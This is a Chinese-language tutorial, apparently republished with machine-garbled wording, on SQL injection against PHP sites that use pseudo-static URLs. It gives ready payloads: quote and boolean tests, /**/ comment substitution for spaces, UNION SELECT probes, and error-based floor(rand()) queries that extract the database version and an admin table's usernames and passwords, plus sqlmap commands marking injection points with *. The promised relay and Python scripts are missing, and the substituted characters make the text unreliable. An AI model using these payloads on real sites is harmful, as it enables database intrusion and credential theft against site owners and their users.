PHP针对伪静态的注入总结【附asp与Python相干代码】
本篇章节讲授PHP针对伪静态的注入。分享给各人供各人参考,详细如下: 一:中转注入法 1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了 http://www.xxx.com/news.php/id/1.html 2.测试步调: 中转注入的php代码:inject.php 3.当地情形搭建PHP,然后会见http://127.0.0.1/inject.php?id=1 通过sqlmap可能havj可以跑注入裂痕。 附录ASP中转代码: 二、手工注入法 1.http://www.xxx.com/play/Diablo.html http://www.xxx.com/down/html/?772.html 2.测试注入: http://www.xxx.com/down/html/?772′.html http://www.xxx.com /play/Diablo'.html http://www.xxx.com/play/Diablo'/**/and /**/1='1 /*.html http://www.xxx.com/play/Diablo' /**/and /**/1='2 /*.html http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常 http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 堕落 3.看页面是否存在差别,沟通则不存在,差异存在注入。 4.连系查询: http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html 手工注入法(二) http://www.xxx.net/news/html/?410.html http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),0x3a,(select/**/concat(user,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html 注: 伪静态的注入和URL的平凡GET注入不太沟通 。平凡url的get注入的%20,%23,+等都可以用;可是伪静态不可,会被直接转达到到url中,以是用/**/这个注释标记暗示空格。 三、SQLmap要领 在sqlmap中伪静态哪儿存在注入点就加* http://www.cunlide.com/id1/1/id2/2 python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″ http://www.xxx.com/news/class/?103.htm python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html” 四、python剧本要领 代码: 更多关于PHP相干内容感乐趣的读者可查察本站专题:《》、《》、《》、《》、《》、《》、《》、《》及《》 但愿本文所述对各人PHP措施计划有所辅佐。 (编辑:湖南网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |